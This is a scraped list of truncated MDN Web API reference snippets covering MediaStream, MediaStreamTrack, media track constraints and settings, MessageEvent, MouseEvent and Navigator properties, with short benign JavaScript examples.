Web › API › MediaStream › clone
diastreamtrack contained by the mediastream on which clone() was called. syntax var stream = mediastream.clone(); parameters none. return value a new mediastream instance which has a new unique id and contains clones of every mediastreamtrack contained by the mediastream on which clone() was called. specifications specification status comment media capture and streamsthe definition of 'mediastream.clone()' in that specification. candidate recommendation initial definition. ...
MediaStream.ended - Web APIs
Web › API › MediaStream › ended
...
MediaStream.onaddtrack - Web APIs
new item shows the track's kind ("audio" or "video") and label. stream.onaddtrack = function(event) { let tracklist = document.getelementbyid("tracks"); let label = document.createelement("li"); label.innerhtml = event.track.kind + ": " + event.track.label; tracklist.appendchild(label); }; specifications specification status comment media capture and streamsthe definition of 'mediastream.onaddtrack' in that specification. candidate recommendation initial specification. ...
MediaStream.onremovetrack - Web APIs
om the stream, logs the track that was removed. stream.onremovetrack = function(event) { let tracklist = document.getelementbyid("tracks"); let label = document.createelement("li"); label.innerhtml = "removed: " + event.track.kind + ": " + event.track.label; tracklist.appendchild(label); }; specifications specification status comment media capture and streamsthe definition of 'mediastream.onremovetrack' in that specification. candidate recommendation initial specification. ...
MediaStream: removetrack event - Web APIs
candidate recommendation ...
MediaStreamAudioSourceNode() - Web APIs
the web audio api's mediastreamaudiosourcenode() constructor creates and returns a new mediastreamaudiosourcenode object which uses the first audio track of a given mediastream as its source. note: another way to create a mediastreamaudiosourcenode is to call theaudiocontext.createmediastreamsource() method, specifying the stream from which you want to obtain audio. syntax audiosourcenode = new mediastreamaudiosourcenode(context, options); parameters context an audiocontext representing the audio context you want the node to be associated with. options a mediastreamaudiosourceoptions object defining the properties you want the mediastreamaudiosourcenode to have: mediastream a required property which specifies the mediastream from which to obtain audio for the node. r...
MediaStreamAudioSourceNode.mediaStream - Web APIs
the mediastreamaudiosourcenode interface's read-only mediastream property indicates the mediastream that contains the audio track from which the node is receiving audio. this stream was specified when the node was first created, either using the mediastreamaudiosourcenode() constructor or the audiocontext.createmediastreamsource() method. syntax audiosourcestream = mediastreamaudiosourcenode.mediastream; value a mediastream representing the stream which contains the mediastreamtrack serving as the source of audio for the node. the user agent uses the first audio track it finds on the specified stream as the audio source for this node. however, there is no way to be certain which track that will be on multi-track streams. if the specific track matters to you, or you need to have access ...
MediaStreamAudioSourceOptions - Web APIs
the mediastreamaudiosourceoptions dictionary provides configuration options used when creating a mediastreamaudiosourcenode using its constructor. it is not needed when using the audiocontext.createmediastreamsource() method. properties mediastream a required property which specifies the mediastream from which to obtain audio for the node. specifications specification status comment web audio apithe definition of 'mediastreamaudiosourceoptions' in that specification. working draft ...
MediaStreamConstraints - Web APIs
astream. if constraints are specified, an audio track is inherently requested. video either a boolean (which indicates whether or not a video track is requested) or a mediatrackconstraints object providing the constraints which must be met by the video track included in the returned mediastream. if constraints are specified, a video track is inherently requested. security peeridentity a domstring identifying the peer who has sole access to the stream. if this property is specified, only the indicated peer can receive and use the stream. streams isolated in this way can only be displayed in a media element (<audio> or <video>) where the content is protected just as if cors cross-origin rules were in effect. when a peer identity is set, mediastreamtracks from that peer have their isola...
MediaStreamEvent() - Web APIs
mediastreameventinit is a mediastreameventinit dictionary, having the following fields: "stream" of type mediastream representing the stream being concerned by the event. "bubbles", optional and defaulting to false, inherited from eventinit, and indicating if the event must bubble or not. ...
MediaStreamEvent - Web APIs
ediastream. two events of this type can be thrown: addstream and removestream. properties a mediastreamevent being an event, this event also implements these properties. mediastreamevent.stream read only contains the mediastream containing the stream associated with the event. constructors mediastreamevent() returns a new mediastreamevent. it takes two parameters, the first being a domstring representing the type of the event; the second a dictionary containing the mediastream it refers to. methods a mediastreamevent being an event, this event also implements these properties. there is no specific mediastreamevent method. examples pc.onaddstream = function( ev ) { alert("a stream (id: '" + ev.stream.id + "') has been added to this connection."); }; ...
MediaStreamTrack.applyConstraints() - Web APIs
e }) .then(mediastream => { const track = mediastream.getvideotracks()[0]; track.applyconstraints(constraints) .then(() => { // do something with the track such as using the image capture api. }) .catch(e => { // the constraints could not be satisfied by the available devices. }); }); specifications specification status comment media capture and streamsthe definition of 'applyconstraints()' in that specification. candidate recommendation initial definition. mediastream image capturethe definition of 'applyconstraints()' in that specification. working draft adds image constraints. ...
MediaStreamTrack.clone() - Web APIs
astreamtrack interface creates a duplicate of the mediastreamtrack. this new mediastreamtrack object is identical except for its unique id. syntax const newtrack = track.clone() return value a new mediastreamtrack instance which is identical to the one clone() was called, except for its new unique id. specifications specification status comment media capture and streamsthe definition of 'clone()' in that specification. candidate recommendation initial definition. ...
MediaStreamTrack.enabled - Web APIs
candidate recommendation initial specification. ...
MediaStreamTrack: ended event - Web APIs
candidate recommendation initial specification. ...
MediaStreamTrack.getCapabilities() - Web APIs
nts, and settings for details on how to work with constrainable properties. syntax const capabilities = track.getcapabilities() return value a mediatrackcapabilities object which specifies the value or range of values which are supported for each of the user agent's supported constrainable properties. specifications specification status comment media capture and streamsthe definition of 'getcapabilities()' in that specification. candidate recommendation initial definition. ...
MediaStreamTrack.getConstraints() - Web APIs
l getsettings(). example this example obtains the current constraints for a track, sets the facingmode, and applies the updated constraints. function switchcameras(track, camera) { const constraints = track.getconstraints(); constraints.facingmode = camera; track.applyconstraints(constraints); } specifications specification status comment media capture and streamsthe definition of 'getconstraints()' in that specification. candidate recommendation initial definition. ...
MediaStreamTrack.getSettings() - Web APIs
candidate recommendation initial definition. ...
MediaStreamTrack.id - Web APIs
the mediastreamtrack.id read-only property returns a domstring containing a unique identifier (guid) for the track, which is generated by the user agent. syntax const id = track.id specifications specification status comment media capture and streamsthe definition of 'mediastreamtrack.id' in that specification. candidate recommendation initial specification. ...
MediaStreamTrack.kind - Web APIs
the mediastreamtrack.kind read-only property returns a domstring set to "audio" if the track is an audio track and to "video", if it is a video track. it doesn't change if the track is deassociated from its source. syntax const type = track.kind value the possible values are a domstring with on of the following values: "audio": the track is an audio track. "video": the track is a video track. specifications specification status comment media capture and streamsthe definition of 'mediastreamtrack.kind' in that specification. candidate recommendation initial specification. ...
MediaStreamTrack.label - Web APIs
the mediastreamtrack.label read-only property returns a domstring containing a user agent-assigned label that identifies the track source, as in "internal microphone". the string may be left empty and is empty as long as no source has been connected. when the track is deassociated from its source, the label is not changed. syntax const label = track.label specifications specification status comment media capture and streamsthe definition of 'mediastreamtrack.label' in that specification. candidate recommendation initial specification. ...
MediaStreamTrack: mute event - Web APIs
for setting up a handler for the unmute event. the following example shows this: musictrack.onmute = event => { document.getelementbyid("timeline-widget").style.backgroundcolor = "#aaa"; } musictrack.mute = event = > { document.getelementbyid("timeline-widget").style.backgroundcolor = "#fff"; } specifications specification status comment media capture and streamsthe definition of 'mute' in that specification. candidate recommendation initial specification. ...
MediaStreamTrack.muted - Web APIs
track's muting status. instead, add event listeners for the mute and unmute events. example this example counts the number of tracks in an array of mediastreamtrack objects which are currently muted. let mutedcount = 0; tracklist.foreach((track) => { if (track.muted) { mutedcount += 1; } }); specifications specification status comment media capture and streamsthe definition of 'muted' in that specification. candidate recommendation initial definition. ...
MediaStreamTrack.onended - Web APIs
object. examples this example sets up an event handler for the ended event which changes an on-screen icon to indicate that the track is no longer active. track.onended = function(event) { let statuselem = document.getelementbyid("status-icon"); statuselem.src = "/images/stopped-icon.png"; } specifications specification status comment media capture and streamsthe definition of 'mediastreamtrack.onended' in that specification. candidate recommendation initial specification. ...
MediaStreamTrack.onmute - Web APIs
function receives a single parameter: the event object, which is a simple event object. example in this example, an onmute handler is established to set the content html of an element to display the "muted speaker" emoji. mytrack.onmute = function(evt) { playstateicon.innerhtml = "&#1f507;"; }; specifications specification status comment media capture and streamsthe definition of 'mediastreamtrack.onmute' in that specification. candidate recommendation initial specification. ...
MediaStreamTrack.onunmute - Web APIs
input a single parameter: an event whose kind is "unmute". example this example creates an unmute event handler which changes the state of a visual indicator to display the emoji character representing a "speaker" icon. mytrack.onunmute = function(evt) { playstateicon.innerhtml = "&#x1f508;"; }; specifications specification status comment media capture and streamsthe definition of 'mediastreamtrack.onunmute' in that specification. candidate recommendation initial specification. ...
MediaStreamTrack.readyState - Web APIs
hich indicates that an input is connected and does its best-effort in providing real-time data. in that case, the output of data can be switched on or off using the mediastreamtrack.enabled property. "ended" which indicates that the input is not giving any more data and will never provide new data. specifications specification status comment media capture and streamsthe definition of 'mediastreamtrack.readystate' in that specification. candidate recommendation initial specification. ...
MediaStreamTrack: unmute event - Web APIs
e for setting up a handler for the mute event. the following example shows this: musictrack.onmute = event => { document.getelementbyid("timeline-widget").style.backgroundcolor = "#aaa"; } musictrack.mute = event = > { document.getelementbyid("timeline-widget").style.backgroundcolor = "#fff"; } specifications specification status comment media capture and streamsthe definition of 'unmute' in that specification. candidate recommendation initial specification. ...
MediaStreamTrackEvent - Web APIs
from its parent interface, event. track read only a mediastreamtrack object representing the track which was added to the stream. constructor mediastreamtrackevent() constructs a new mediastreamtrackevent with the specified configuration. methods also inherits methods from its parent event. specifications specification status comment media capture and streamsthe definition of 'mediastreamtrackevent' in that specification. candidate recommendation ...
MediaStream Recording API - Web APIs
the mediastream recording api makes it possible to capture the data generated by a mediastream or htmlmediaelement object for analysis, processing, or saving to disk. it's also surprisingly easy to work with. basic concepts the mediastream recording api is comprised of a single major interface, mediarecorder, which does all the work of taking the data from a mediastream and delivering it to you for processing. ...
MediaTrackConstraints.aspectRatio - Web APIs
candidate recommendation initial specification. ...
MediaTrackConstraints.autoGainControl - Web APIs
candidate recommendation initial specification. ...
MediaTrackConstraints.channelCount - Web APIs
candidate recommendation initial specification. ...
MediaTrackConstraints.echoCancellation - Web APIs
candidate recommendation initial specification. ...
MediaTrackConstraints.frameRate - Web APIs
candidate recommendation initial specification. ...
MediaTrackConstraints.height - Web APIs
candidate recommendation initial specification. ...
MediaTrackConstraints.latency - Web APIs
o a best-possible value. latency is always prone to some variation due to hardware usage demands, network constraints, and so forth, so even in an "exact" match, some variation should be expected. example see example: constraint exerciser in capabilities, constraints, and settings for an example. specifications specification status comment media capture and streamsthe definition of 'latency' in that specification. candidate recommendation initial specification. ...
MediaTrackConstraints.logicalSurface - Web APIs
this is used to specify whether or not getdisplaymedia() should allow the user to choose display surfaces which are not necessarily fully visible on the screen, such as occluded windows or the complete content of windows which are large enough to require scrolling to see their entire contents. if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.logicalsurface as returned by a call to mediadevices.getsupportedconstraints(). ...
MediaTrackConstraints.noiseSuppression - Web APIs
candidate recommendation initial specification. ...
MediaTrackConstraints.sampleRate - Web APIs
candidate recommendation initial specification. ...
MediaTrackConstraints.sampleSize - Web APIs
have the same value) or to a best-possible value. since this property can only represent linear sample sizes, this constraint can only be met by devices that can produce audio with linear samples. example see example: constraint exerciser in capabilities, constraints, and settings for an example. specifications specification status comment media capture and streamsthe definition of 'samplesize' in that specification. candidate recommendation initial specification. ...
MediaTrackConstraints.width - Web APIs
candidate recommendation initial specification. ...
MediaTrackSettings.aspectRatio - Web APIs
ng the track's width, dividing by its height, and rounding the result to ten decimal places. for example, the standard 16:9 high-definition aspect ratio can be computed as 1920/1080, or 1.7777777778. example see example: constraint exerciser in capabilities, constraints, and settings for an example. specifications specification status comment media capture and streamsthe definition of 'aspectratio' in that specification. candidate recommendation initial specification. ...
MediaTrackSettings.autoGainControl - Web APIs
unfamiliar with. syntax var autogaincontrol = mediatracksettings.autogaincontrol; value a boolean value which is true if the track has automatic gain control enabled or false if agc is disabled. example see example: constraint exerciser in capabilities, constraints, and settings for an example. specifications specification status comment media capture and streamsthe definition of 'autogaincontrol' in that specification. candidate recommendation initial specification. ...
MediaTrackSettings.channelCount - Web APIs
candidate recommendation initial specification. ...
MediaTrackSettings.echoCancellation - Web APIs
candidate recommendation initial specification. ...
MediaTrackSettings.frameRate - Web APIs
ar with. syntax var framerate = mediatracksettings.framerate; value a double-precision floating-point number indicating the current configuration of the track's frame rate, in frames per second. example see example: constraint exerciser in capabilities, constraints, and settings for an example. specifications specification status comment media capture and streamsthe definition of 'framerate' in that specification. candidate recommendation initial specification. ...
MediaTrackSettings.height - Web APIs
gnore any constraints they're unfamiliar with. syntax var height = mediatracksettings.height; value an integer value indicating the height, in pixels, of the video track as currently configured. example see example: constraint exerciser in capabilities, constraints, and settings for an example. specifications specification status comment media capture and streamsthe definition of 'height' in that specification. candidate recommendation initial specification. ...
MediaTrackSettings.latency - Web APIs
roperty. syntax var latency = mediatracksettings.latency; value a double-precision floating-point number indicating the estimated latency, in seconds, of the audio track as currently configured. example see example: constraint exerciser in capabilities, constraints, and settings for an example. specifications specification status comment media capture and streamsthe definition of 'latency' in that specification. candidate recommendation initial specification. ...
MediaTrackSettings.noiseSuppression - Web APIs
amiliar with. syntax var noisesuppression = mediatracksettings.noisesuppression; value a boolean value which is true if the input track has noise suppression enabled or false if agc is disabled. example see example: constraint exerciser in capabilities, constraints, and settings for an example. specifications specification status comment media capture and streamsthe definition of 'noisesuppression' in that specification. candidate recommendation initial specification. ...
MediaTrackSettings.sampleRate - Web APIs
candidate recommendation initial specification. ...
MediaTrackSettings.sampleSize - Web APIs
n the track requires samplesize bits. that means that a given sample actually uses (samplesize/8)*channelcount bytes of data. for example, 16-bit stereo audio requires (16/8)*2 or 4 bytes per sample. example see example: constraint exerciser in capabilities, constraints, and settings for an example. specifications specification status comment media capture and streamsthe definition of 'samplesize' in that specification. candidate recommendation initial specification. ...
MediaTrackSettings.width - Web APIs
y ignore any constraints they're unfamiliar with. syntax var width = mediatracksettings.width; value an integer value indicating the width, in pixels, of the video track as currently configured. example see example: constraint exerciser in capabilities, constraints, and settings for an example. specifications specification status comment media capture and streamsthe definition of 'width' in that specification. candidate recommendation initial specification. ...
MediaTrackSupportedConstraints.aspectRatio - Web APIs
candidate recommendation initial specification. ...
MediaTrackSupportedConstraints.autoGainControl - Web APIs
candidate recommendation initial specification. ...
MediaTrackSupportedConstraints.channelCount - Web APIs
candidate recommendation initial specification. ...
MediaTrackSupportedConstraints.deviceId - Web APIs
candidate recommendation initial specification. ...
MediaTrackSupportedConstraints.echoCancellation - Web APIs
candidate recommendation initial specification. ...
MediaTrackSupportedConstraints.facingMode - Web APIs
candidate recommendation initial specification. ...
MediaTrackSupportedConstraints.frameRate - Web APIs
candidate recommendation initial specification. ...
MediaTrackSupportedConstraints.groupId - Web APIs
candidate recommendation initial specification. ...
MediaTrackSupportedConstraints.height - Web APIs
candidate recommendation initial specification. ...
MediaTrackSupportedConstraints.latency - Web APIs
candidate recommendation initial specification. ...
MediaTrackSupportedConstraints.noiseSuppression - Web APIs
candidate recommendation initial specification. ...
MediaTrackSupportedConstraints.sampleRate - Web APIs
candidate recommendation initial specification. ...
MediaTrackSupportedConstraints.sampleSize - Web APIs
candidate recommendation initial specification. ...
MediaTrackSupportedConstraints.width - Web APIs
candidate recommendation initial specification. ...
MerchantValidationEvent() - Web APIs
the merchantvalidationevent() constructor creates a new merchantvalidationevent object. you should not have to create these events yourself; instead, just handle the merchantvalidation event. syntax merchantvalidationevent = new merchantvalidationevent(type, options); parameters type a domstring which must be merchantvalidation, the only type of event which uses the merchantvalidationevent interface. options optional an optional dictionary which may contain zero or more of the following properties: methodname optional a domstring containing the payment method identifier for the payment handler being used. this is an empty string by default. validationurl optional the url from which to retrieve payment handler specific verification information used to validate the me...
MerchantValidationEvent.methodName - Web APIs
the merchantvalidationevent property methodname is a read-only value which returns a string indicating the payment method identifier which represents the payment handler that requires merchant validation. syntax methodid = merchantvalidationevent.methodname; value a read-only domstring which uniquely identifies the payment handler which is requesting merchant validation. see merchant validation in payment processing concepts for more information on the process. specifications specification status comment payment request apithe definition of 'merchantvalidationevent.methodname' in that specification. candidate recommendation initial definition. ...
MerchantValidationEvent - Web APIs
the merchantvalidationevent interface of the the payment request api enables a merchant to verify themselves as allowed to use a particular payment handler. to learn more about merchant validation, see merchant validation in payment processing concepts. constructor merchantvalidationevent() secure context creates a new merchantvalidationevent object describing a merchantvalidation event that will be sent to the payment handler to request that it validate the merchant. properties merchantvalidationevent.methodname secure context a domstring providing a unique payment method identifier for the payment handler that's requiring validation. this may be either one of the standard payment method identifier strings or a url that both identifies and handles requests for the payment han...
MessageEvent.MessageEvent() - Web APIs
l be created. this can be one of xxx init optional a dictionary object that can contain the following properties: data: the data you want contained in the messageevent. this can be of any data type, and will default to null if not specified. origin: a usvstring representing the origin of the message emitter. this defaults to an empty string ("") if not specified. lasteventid: a domstring representing a unique id for the event. this defaults to an empty string ("") if not specified. source: an messageeventsource (which can be a windowproxy, messageport, or serviceworker object) representing the message emitter. this defaults to null if not set. ports: an array of messageport objects representing the ports associated with the channel the message is being sent through (wher...
MessageEvent.lastEventId - Web APIs
the lasteventid read-only property of the messageevent interface is a domstring representing a unique id for the event. syntax var myid = messageevent.lasteventid; value a domstring representing the id. example myworker.onmessage = function(e) { result.textcontent = e.data; console.log('message received from worker'); console.log(e.lasteventid); }; specifications specification status comment html living standardthe definition of 'messageevent: lasteventid' in that specification. living standard ...
MessageEvent - Web APIs
:hover text { fill: #0095dd; pointer-events: all;} constructor messageevent() creates a new messageevent. properties this interface also inherits properties from its parent, event. messageevent.data read only the data sent by the message emitter. messageevent.origin read only a usvstring representing the origin of the message emitter. messageevent.lasteventid read only a domstring representing a unique id for the event. messageevent.source read only a messageeventsource (which can be a windowproxy, messageport, or serviceworker object) representing the message emitter. messageevent.ports read only an array of messageport objects representing the ports associated with the channel the message is being sent through (where appropriate, e.g. in channel messaging or w...
MessagePort.postMessage() - Web APIs
e postmessage() method of the messageport interface sends a message from the port, and optionally, transfers ownership of objects to other browsing contexts. note: this feature is available in web workers. syntax port.postmessage(message, transferlist); returns void. parameters message the message you want to send through the channel. this can be of any basic data type. multiple data items can be sent as an array. transferlist optional transferable objects to be transferred — these objects have their ownership transferred to the receiving browsing context, so are no longer usable by the sending browsing context. example in the following code block, you can see a new channel being created using the messagechannel.messagechannel constructor. when the iframe has loaded, we pass...
MimeTypeArray - Web APIs
methods mimetypearray.item() returns the mimetype object with the specified index. mimetypearray.nameditem() returns the mimetype object with the specified name. ...
MouseEvent.altKey - Web APIs
Web › API › MouseEvent › altKey
on some linux variants, for example, a left mouse click combined with the alt key is used to move or resize windows. note: on macintosh keyboards, this key is also known as the option key. ...
MouseEvent.button - Web APIs
Web › API › MouseEvent › button
n pressed, usually the right button 3: fourth button, typically the browser back button 4: fifth button, typically the browser forward button as noted above, buttons may be configured differently to the standard "left to right" layout. a mouse configured for left-handed use may have the button actions reversed. some pointing devices only have one button and use keyboard or other input mechanisms to indicate main, secondary, auxilary, etc. others may have many buttons mapped to different functions and button values. example html <button id="button" oncontextmenu="event.preventdefault();">click here with your mouse...</button> <p id="log"></p> javascript let button = document.queryselector('#button'); let log = document.queryselector('#log'); button.addeventlistener('mouseup', logmous...
MouseEvent.metaKey - Web APIs
on windows, for example, this key may open the start menu. note: on macintosh keyboards, this key is the command key (⌘). on windows keyboards, this key is the windows key (⊞). ...
MouseEvent.pageX - Web APIs
Web › API › MouseEvent › pageX
is scrolled such that 200 pixels of the left side of the document are scrolled out of view, and the mouse is clicked 100 pixels inward from the left edge of the view, the value returned by pagex will be 300. originally, this property was defined as a long integer. the cssom view module redefined it as a double float. see the browser compatibility section for details. see page in coordinate systems for some additional information about coordinates specified in this fashion. syntax var pagex = mouseevent.pagex; value a floating-point number of pixels from the left edge of the document at which the mouse was clicked, regardless of any scrolling or viewport positioning that may be in effect. this property was originally specified in the touch events specification as a long integer, but wa...
MouseEvent.region - Web APIs
Web › API › MouseEvent › region
example example of using the event.region combined with canvasrenderingcontext2d.addhitregion() method. ...
MouseScrollEvent - Web APIs
the mousescrollevent interface represents events that occur due to the user moving a mouse wheel or similar input device. do not use this interface for wheel events. like mousewheelevent, this interface is non-standard and deprecated. it was used in gecko-based browsers only. instead use the standard wheelevent. ...
MouseWheelEvent - Web APIs
epresents events that occur due to the user turning a mouse wheel. do not use this interface for wheel events. like mousescrollevent, this interface is non-standard and deprecated. it was used in non-gecko browsers only. instead use the standard wheelevent. properties attribute type description wheeldelta read only long the distance in pixels (defined as so by msdn, but the actual usage is different, see mousewheel). wheeldeltax read only long? the value along horizontal axis of wheeldelta. wheeldeltay read only long? the value along vertical axis of wheeldelta. ...
MutationEvent - Web APIs
bably in other browsers as well. ... dottoro documents browser support for mutation events. mutation events list the following is a list of all mutation events, as defined in dom level 3 events specification: domattrmodified domattributenamechanged domcharacterdatamodified domelementnamechanged domnodeinserted domnodeinsertedintodocument domnoderemoved domnoderemovedfromdocument domsubtreemodified usage you can register a listener for mutation events using eventtarget.addeventlistener() as follows: element.addeventlistener("domnodeinserted", function (event) { // ... }, false); the event object is passed to the listener in a mutationevent (see its definition in the specification) for most events, and mutationnameevent for domattributenamechanged and domelementnamechan...
MutationObserver.observe() - Web APIs
ptions) parameters target a dom node (which may be an element) within the dom tree to watch for changes, or to be the root of a subtree of nodes to be watched. options a mutationobserverinit object providing options that describe which dom mutations should be reported to mutationobserver’s callback. return value undefined. exceptions typeerror thrown in any of the following circumstances: the options are configured such that nothing will actually be monitored. (for example, if mutationobserverinit.childlist, mutationobserverinit.attributes, and mutationobserverinit.characterdata are all false.) the value of options.attributes is false (indicating that attribute changes are not to be monitored), but attributeoldvalue is true and/or attributefilter is present. the...
MutationObserverInit.attributeOldValue - Web APIs
.oldvalue + ")"); break; } }); } var targetnode = document.queryselector("#target"); var observer = new mutationobserver(callback); observer.observe(targetnode, { attributes: true, attributeoldvalue: true }); the callback() function—which will be passed into the observe() method when starting the observer, looks at each item in the list of mutationrecord objects. for any items representing an attribute change (which can be detected by the value of mutationrecord.type being "attributes"), a function called notifyuser() is used to tell the user the name of the attribute that changed as well as the attribute's new value (mutation.target[mutation.attributename]) and its old value (mutation.oldvalue). when observe() is called, the specified options are attributes and attri...
MutationObserverInit.attributes - Web APIs
.oldvalue + ")"); break; } }); } var targetnode = document.queryselector("#target"); var observer = new mutationobserver(callback); observer.observe(targetnode, { attributes: true, attributeoldvalue: true }); the callback() function—which will be passed into the observe() method when starting the observer, looks at each item in the list of mutationrecord objects. for any items representing an attribute change (which can be detected by the value of mutationrecord.type being "attributes"), a function called notifyuser() is used to tell the user the name of the attribute that changed as well as the attribute's new value (mutation.target[mutation.attributename]) and its old value (mutation.oldvalue). when observe() is called, the specified options are attributes and attri...
MutationObserverInit.characterData - Web APIs
ta property is used to specify whether or not to monitor the node or nodes being observed for changes to their textual contents. character data changes are detectable on any text node, including nodes based on the text, processinginstruction, and comment interfaces. note that this doesn't monitor content of an htmlelement, even if it only contains text inside, as it only monitors text nodes themselves. so either pass directly a text node to the observe() method or you need to also set subtree: true. syntax var options = { characterdata: true | false } value a boolean value indicating whether or not to call the observer's callback function when textual nodes' values change. if true, the callback specified when observe() was used to start observing the node or subtree is called any...
NDEFRecord.recordType - Web APIs
ents a "smart poster" ndef record. "absolute-url" represents an absolute url ndef record. "mime" represents a mime type ndef record. "unknown" represents an unknown ndef record. local type name represents a local type name, frequently used to specify ndef record embedded within another record. external type name represents a custom record type name that can be creted by organizations themselves for custom needs. specifications specification status comment web nfc, ndefrecord.recordtype draft initial definition. ...
NDEFWriter.write() - Web APIs
Web › API › NDEFWriter › write
options optional ignoreread -- boolean specifying whether or not to skip reading for the activated reader objects. will be ignored if overwrite is false. overwrite -- boolean specifying whether or not existing record should be overwritten, if such exists. ...
NameList - Web APIs
Web › API › NameList
gh it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. note: although this interface was previously implemented in gecko, there was no way to actually create one. namelist has been removed, effective with gecko 10.0 the namelist interface provides an abstraction for an ordered collection of name and namespace value pairs. items can be accessed by a 0-based index. the dom spec does not specify how the collection is to be implemented. properties namelist.length read only methods namelist.contains() returns a boolean. namelist.containsns() returns a boolean. namelist.getname() returns a domstring. namelist.getnamespaceuri() returns a domstring. specifications specification status comment ...
Navigator.buildID - Web APIs
Web › API › Navigator › buildID
returns the build identifier of the browser. in modern browsers this property now returns a fixed timestamp as a privacy measure, e.g. 20181001000000 in firefox 64 onwards. syntax buildid = navigator.buildid; value a string representing the build identifier of the application. the build id is in the form yyyymmddhhmmss. example console.log(window.navigator.buildid); specification not part of any public standard. ...
Navigator.mediaDevices - Web APIs
s to connected media input devices like cameras and microphones, as well as screen sharing. syntax var mediadevices = navigator.mediadevices; return value the mediadevices singleton object. usually, you just use this object's members directly, such as by calling navigator.mediadevices.getusermedia(). specifications specification status comment media capture and streamsthe definition of 'navigatorusermedia.mediadevices' in that specification. candidate recommendation initial definition. ...
Navigator.oscpu - Web APIs
Web › API › Navigator › oscpu
the navigator.oscpu property returns a string that identifies the current operating system. syntax oscpuinfo = navigator.oscpu value a domstring providing a string which identifies the operating system on which the browser is running. operating system oscpuinfo string format os/2 os/2 warp x (either 3, 4 or 4.5) windows ce windowsce x.y1 windows 64-bit (64-bit build) windows nt x.y; win64; x64 windows 64-bit (32-bit build) windows nt x.y; wow64 windows 32-bit windows nt x.y mac os x (ppc build) powerpc mac os x version x.y mac os x (i386/x64 build) intel mac os x or macos version x.y linux 64-bit (32-bit build) output of uname -s plus "i686 on x86_64" linux output of...
Navigator.registerContentHandler() - Web APIs
for security reasons, it's not possible for an extension or web site to register content handlers targeting other sites. syntax navigator.registercontenthandler(mimetype, uri, title); mimetype is the desired mime type as a string. uri is the uri to the handler as a string. title is the title of the handler presented to the user as a string. ...
Web-based protocol handlers - Web APIs
-//w3c//dtd html 4.01//en"> <html lang="en"> <head> <title>web protocol handler sample - test</title> </head> <body> <p>hey have you seen <a href="web+burger:cheeseburger">this</a> before?</p> </body> </html> handling the next phase is handling the action. the browser extracts the href from the activated link, combines it with the url template supplied during handler registration and performs an http get on the url. so, using the above examples, the browser would perform a get on this url: http://www.google.co.uk/?uri=web+burger:cheeseburger server side code can extract the query string parameters and perform the desired action. note:the server side code is passed the entire contents of the href. this means the server side code will have to parse out the protocol from the data. e...
Navigator.requestMediaKeySystemAccess() - Web APIs
ysystemaccess(); you don't want those requests to happen at inconvenient times. as a general rule, this function should be called only when it's about time to create and use a mediakeys object by calling the returned mediakeysystemaccess object's createmediakeys() method. syntax ​promise = navigator.requestmediakeysystemaccess(keysystem, supportedconfigurations); parameters keysystem a domstring identifying the key system. for example com.example.somesystem or org.w3.clearkey. supportedconfigurations a non-empty array of mediakeysystemconfiguration objects. the first element with a satisfiable configuration will be used. return value a promise that, when resolved, delivers a mediakeysystemaccess object to your fulfillment handler function. the fulfillment handler receives as in...
Navigator.vibrate() - Web APIs
Web › API › Navigator › vibrate
or pause, in alternation. you may provide either a single value (to vibrate once for that many milliseconds) or an array of values to alternately vibrate, pause, then vibrate again. see vibration api for details. passing a value of 0, an empty array, or an array containing all zeros will cancel any currently ongoing vibration pattern. examples window.navigator.vibrate(200); // vibrate for 200ms window.navigator.vibrate([100,30,100,30,100,30,200,30,200,30,200,30,100,30,100,30,100]); // vibrate 'sos' in morse. specifications specification status comment vibration api recommendation linked to spec is the latest editor's draft; w3c version is a rec. ...
NavigatorID.appVersion - Web APIs
nformation about the browser. example alert('your browser version is reported as ' + navigator.appversion); notes the window.navigator.useragent property may also contain the version number (for example "mozilla/5.0 (windows; u; win98; en-us; rv:0.9.2) gecko/20010725 netscape 6/6.1"), but you should be aware of how easy it is to change the user agent string and "spoof" other browsers, platforms, or user agents, and also how cavalier the browser vendor themselves are with these properties. the window.navigator.appversion, window.navigator.appname and window.navigator.useragent properties have been used in "browser sniffing" code: scripts that attempt to find out what kind of browser you are using and adjust pages accordingly. this lead to the current situation, where browsers had to ret...
NavigatorID.platform - Web APIs
platform is a string that must be an empty string or a string representing the platform on which the browser is executing. ...
NavigatorID.userAgent - Web APIs
hat gets sent, and doesn't affect browser detection performed by javascript code. opera 6+ allows users to set the browser identification string via a menu. microsoft internet explorer uses the windows registry. safari and icab allow users to change the browser user agent string to predefined internet explorer or netscape strings via a menu. syntax var ua = navigator.useragent; value a domstring specifying the complete user agent string the browser provides both in http headers and in response to this and other related methods on the navigator object. the user agent string is built on a formal structure which can be decomposed into several pieces of info. each of these pieces of info comes from other navigator properties which are also settable by the user. gecko-based browsers com...
NavigatorLanguage.language - Web APIs
lang stores a string representing the language version as defined in bcp 47. examples of valid language codes include "en", "en-us", "fr", "fr-fr", "es-es", etc. note that in safari on ios prior to 10.2, the country code returned is lowercase: "en-us", "fr-fr" etc. ...
NavigatorLanguage.languages - Web APIs
the language is described using bcp 47 language tags. in the returned array they are ordered by preference with the most preferred language first. the value of navigator.language is the first element of the returned array. when its value changes, as the user's preferred languages are changed a languagechange event is fired on the window object. the accept-language http header in every http request from the user's browser uses the same value for the navigator.languages property except for the extra qvalues (quality values) field (e.g. en-us;q=0.8). ...
NavigatorLanguage - Web APIs
navigatorlanguage contains methods and properties related to the language of the navigator. there is no object of type navigatorlanguage, but other interfaces, like navigator or workernavigator, implement it. properties the navigatorlanguage interface doesn't inherit any property. navigatorlanguage.language read only returns a domstring representing the preferred language of the user, usually the language of the browser ui. the null value is returned when this is unknown. navigatorlanguage.languages read only returns an array of domstring representing the languages known to the user, by order of preference. methods the navigatorlanguage interface neither implements, nor inherit any method. specifications specification status comment html living st...
NavigatorPlugins.plugins - Web APIs
plugin should query navigator.plugins or navigator.mimetypes by exact name instead of enumerating the navigator.plugins array and comparing every plugin's name. this privacy change does not disable any plugins; it just hides some plugin names from enumeration. syntax var plugins = navigator.plugins; plugins is pluginarray object used to access plugin objects either by name or as a list of items. the returned value is not a javascript array, but has the length property and supports accessing individual items using bracket notation (plugins[2]), as well as via item(index) and nameditem("name") methods. examples the following example function returns the version of the shockwave flash plugin. function getflashversion() { var flash = navigator.plugins.nameditem('shockwave flash'); i...
Network Information API - Web APIs
